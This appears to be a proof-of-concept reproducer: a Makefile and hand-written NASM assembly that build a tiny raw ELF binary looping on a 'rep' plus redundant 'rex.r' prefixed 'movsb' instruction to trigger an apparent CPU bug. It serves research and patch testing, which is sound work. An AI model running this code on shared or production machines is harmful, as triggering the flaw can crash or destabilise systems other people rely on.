Makefile

reptar.elf: reptar.elf.asm
	nasm -f bin reptar.elf.asm -o reptar.elf
	chmod +x reptar.elf

reptar.elf.asm

bits 64
            org 0x7ffff7ff8000

ehdr:                                           ; Elf64_Ehdr
            db  0x7F, "ELF", 2, 1, 1, 0         ;   e_ident
    times 8 db  0
            dw  2                               ;   e_type
            dw  62                              ;   e_machine
            dd  1                               ;   e_version
            dq  _start                          ;   e_entry
            dq  text_phdr - $$                  ;   e_phoff
            dq  0                               ;   e_shoff
            dd  0                               ;   e_flags
            dw  ehdrsize                        ;   e_ehsize
            dw  phdrsize                        ;   e_phentsize
            dw  1                               ;   e_phnum
            dw  0                               ;   e_shentsize
            dw  0                               ;   e_shnum
            dw  0                               ;   e_shstrndx

ehdrsize    equ $ - ehdr

text_phdr:                                      ; Elf64_Phdr
            dd  1                               ;   p_type
            dd  5                               ;   p_flags
            dq  0                               ;   p_offset
            dq  $$                              ;   p_vaddr
            dq  $$                              ;   p_paddr
            dq  textsize                        ;   p_filesz
            dq  textsize                        ;   p_memsz
            dq  0x1000                          ;   p_align

phdrsize    equ     $ - text_phdr

_start:
    mov rdx, .end_of_program
    times 10 push rdx
    lea rax, [rsp - 0x1000]
    lea r8, [.after_reptar - .loop_only_on_bug]
    mov r10, 0x00007ffff7ffda40 ; after time
    mov r11, .loop_only_on_bug
    xor rdx, rdx
    xor rbx, rbx
    xor r12, r12
    mov r13, 0x13371337
    .loop_for_every_iteration:
        jmp r11
        .loop_only_on_bug:
            nop
            nop
            clflush [rax]
            clflush [rax+64]
            mov rsi, rax
            mov rdi, rax
            mov cl, 1
            inc rdx
            mov r9, rdx
            sub r9, r12
            imul r9, r8
            add r9, r11
            xor rbx, rbx
            cmp r9, r10
            setae bl
            imul rbx, 0x4000
            neg rbx
            add rbx, rsp
            nop
            mov qword [rbx], r13
            mov qword [rsp], r11
            ;jae 0x00007ffff7ffda40 ; time

            .reptar:
                rep
                db 0x44; rex.r
                movsb
            .after_reptar:
                rep
                times 4 nop
                jmp .skip_reptar_alias

            .reptar_alias:
                nop
                nop
                nop
            .after_reptar_alias:
                times 100 nop
                int3

            .skip_reptar_alias:
                inc r12
                jmp .loop_for_every_iteration
            .end_of_program:
                int3
                int3
textsize      equ     $ - $$